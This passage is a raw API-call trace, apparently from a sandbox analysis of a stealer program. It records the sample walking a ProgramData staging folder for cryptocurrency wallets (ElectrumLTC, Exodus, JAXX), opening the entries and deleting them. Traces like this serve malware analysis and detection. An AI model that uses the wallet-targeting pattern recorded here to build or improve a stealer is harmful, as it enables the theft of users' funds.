lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\.." [0149.522] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\ElectrumLTC" | out: lpString1="\\Wallets\\ElectrumLTC") returned="\\Wallets\\ElectrumLTC" [0149.522] lstrcatW (in: lpString1="\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="\\Wallets\\ElectrumLTC\\") returned="\\Wallets\\ElectrumLTC\\" [0149.522] lstrcatW (in: lpString1="\\Wallets\\ElectrumLTC\\", lpString2=".." | out: lpString1="\\Wallets\\ElectrumLTC\\..") returned="\\Wallets\\ElectrumLTC\\.." [0149.522] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.522] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.522] FindNextFileW (in: hFindFile=0x882c70, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90ac55, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90ac55, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90ac55, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.522] FindClose (in: hFindFile=0x882c70 | out: hFindFile=0x882c70) returned 1 [0149.522] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340048 [0149.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0149.522] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x43) returned 0x32bb568 [0149.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC", cchWideChar=67, lpMultiByteStr=0x32bb568, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC", lpUsedDefaultChar=0x0) returned 67 [0149.522] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e60 [0149.523] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb568 | out: hHeap=0x2360000) returned 1 [0149.523] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.523] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366828 [0149.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2366828, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.523] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366828 | out: hHeap=0x2360000) returned 1 [0149.523] PathMatchSpecW (pszFile="ElectrumLTC", pszSpec="*.*") returned 1 [0149.523] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340048 [0149.523] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400e0 [0149.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0149.523] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x43) returned 0x32bb7e8 [0149.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC", cchWideChar=67, lpMultiByteStr=0x32bb7e8, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC", lpUsedDefaultChar=0x0) returned 67 [0149.523] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362ba0 [0149.523] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb7e8 | out: hHeap=0x2360000) returned 1 [0149.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\ElectrumLTC", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0149.524] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x15) returned 0x3340ca0 [0149.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\ElectrumLTC", cchWideChar=21, lpMultiByteStr=0x3340ca0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\ElectrumLTC", lpUsedDefaultChar=0x0) returned 21 [0149.524] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340650 [0149.524] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ca0 | out: hHeap=0x2360000) returned 1 [0149.524] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\electrumltc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.524] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340650 | out: hHeap=0x2360000) returned 1 [0149.524] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362ba0 | out: hHeap=0x2360000) returned 1 [0149.524] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400e0 | out: hHeap=0x2360000) returned 1 [0149.524] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.524] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\electrumltc")) returned 0 [0149.525] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e60 | out: hHeap=0x2360000) returned 1 [0149.525] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90c044, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90c044, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90c044, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Exodus", cAlternateFileName="")) returned 1 [0149.525] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.525] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.525] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2="Exodus" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus" [0149.525] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.525] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.525] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Exodus" | out: lpString1="\\Wallets\\Exodus") returned="\\Wallets\\Exodus" [0149.525] lstrcmpW (lpString1="Exodus", lpString2=".") returned 1 [0149.525] lstrcmpW (lpString1="Exodus", lpString2="..") returned 1 [0149.525] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus" [0149.525] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\*.*" [0149.525] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90c044, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90c044, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90c044, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882e70 [0149.526] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus" [0149.526] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\" [0149.526] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\." [0149.526] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Exodus" | out: lpString1="\\Wallets\\Exodus") returned="\\Wallets\\Exodus" [0149.526] lstrcatW (in: lpString1="\\Wallets\\Exodus", lpString2="\\" | out: lpString1="\\Wallets\\Exodus\\") returned="\\Wallets\\Exodus\\" [0149.526] lstrcatW (in: lpString1="\\Wallets\\Exodus\\", lpString2="." | out: lpString1="\\Wallets\\Exodus\\.") returned="\\Wallets\\Exodus\\." [0149.529] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.529] FindNextFileW (in: hFindFile=0x882e70, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90c044, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90c044, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90c044, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.529] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus" [0149.529] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\" [0149.529] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus\\.." [0149.529] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Exodus" | out: lpString1="\\Wallets\\Exodus") returned="\\Wallets\\Exodus" [0149.529] lstrcatW (in: lpString1="\\Wallets\\Exodus", lpString2="\\" | out: lpString1="\\Wallets\\Exodus\\") returned="\\Wallets\\Exodus\\" [0149.529] lstrcatW (in: lpString1="\\Wallets\\Exodus\\", lpString2=".." | out: lpString1="\\Wallets\\Exodus\\..") returned="\\Wallets\\Exodus\\.." [0149.529] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.529] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.529] FindNextFileW (in: hFindFile=0x882e70, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90c044, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90c044, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90c044, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.529] FindClose (in: hFindFile=0x882e70 | out: hFindFile=0x882e70) returned 1 [0149.529] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2369650 [0149.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0149.530] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba6f0 [0149.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus", cchWideChar=62, lpMultiByteStr=0x32ba6f0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus", lpUsedDefaultChar=0x0) returned 62 [0149.530] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba3d8 [0149.530] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba6f0 | out: hHeap=0x2360000) returned 1 [0149.530] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2369650 | out: hHeap=0x2360000) returned 1 [0149.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.530] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366858 [0149.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2366858, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.530] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366858 | out: hHeap=0x2360000) returned 1 [0149.530] PathMatchSpecW (pszFile="Exodus", pszSpec="*.*") returned 1 [0149.530] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2369650 [0149.530] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403f8 [0149.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0149.530] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba198 [0149.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus", cchWideChar=62, lpMultiByteStr=0x32ba198, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus", lpUsedDefaultChar=0x0) returned 62 [0149.530] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba618 [0149.530] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba198 | out: hHeap=0x2360000) returned 1 [0149.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Exodus", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0149.530] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236ac18 [0149.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Exodus", cchWideChar=16, lpMultiByteStr=0x236ac18, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Exodus", lpUsedDefaultChar=0x0) returned 16 [0149.531] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac18 | out: hHeap=0x2360000) returned 1 [0149.531] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\exodus"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.531] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba618 | out: hHeap=0x2360000) returned 1 [0149.531] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403f8 | out: hHeap=0x2360000) returned 1 [0149.531] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2369650 | out: hHeap=0x2360000) returned 1 [0149.531] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Exodus" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\exodus")) returned 0 [0149.531] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba3d8 | out: hHeap=0x2360000) returned 1 [0149.531] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92bb9a, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92bb9a, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92bb9a, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAXX", cAlternateFileName="")) returned 1 [0149.531] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.531] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.531] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2="JAXX" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX" [0149.531] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.531] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.531] lstrcatW (in: lpString1="\\Wallets\\", lpString2="JAXX" | out: lpString1="\\Wallets\\JAXX") returned="\\Wallets\\JAXX" [0149.531] lstrcmpW (lpString1="JAXX", lpString2=".") returned 1 [0149.531] lstrcmpW (lpString1="JAXX", lpString2="..") returned 1 [0149.532] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX" [0149.532] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\*.*" [0149.532] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92bb9a, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92bb9a, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92bb9a, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882930 [0149.532] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX" [0149.532] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\" [0149.532] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\." [0149.532] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\JAXX" | out: lpString1="\\Wallets\\JAXX") returned="\\Wallets\\JAXX" [0149.532] lstrcatW (in: lpString1="\\Wallets\\JAXX", lpString2="\\" | out: lpString1="\\Wallets\\JAXX\\") returned="\\Wallets\\JAXX\\" [0149.532] lstrcatW (in: lpString1="\\Wallets\\JAXX\\", lpString2="." | out: lpString1="\\Wallets\\JAXX\\.") returned="\\Wallets\\JAXX\\." [0149.532] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.532] FindNextFileW (in: hFindFile=0x882930, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92bb9a, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92bb9a, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92bb9a, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.532] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX" [0149.532] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\" [0149.532] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX\\.." [0149.532] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\JAXX" | out: lpString1="\\Wallets\\JAXX") 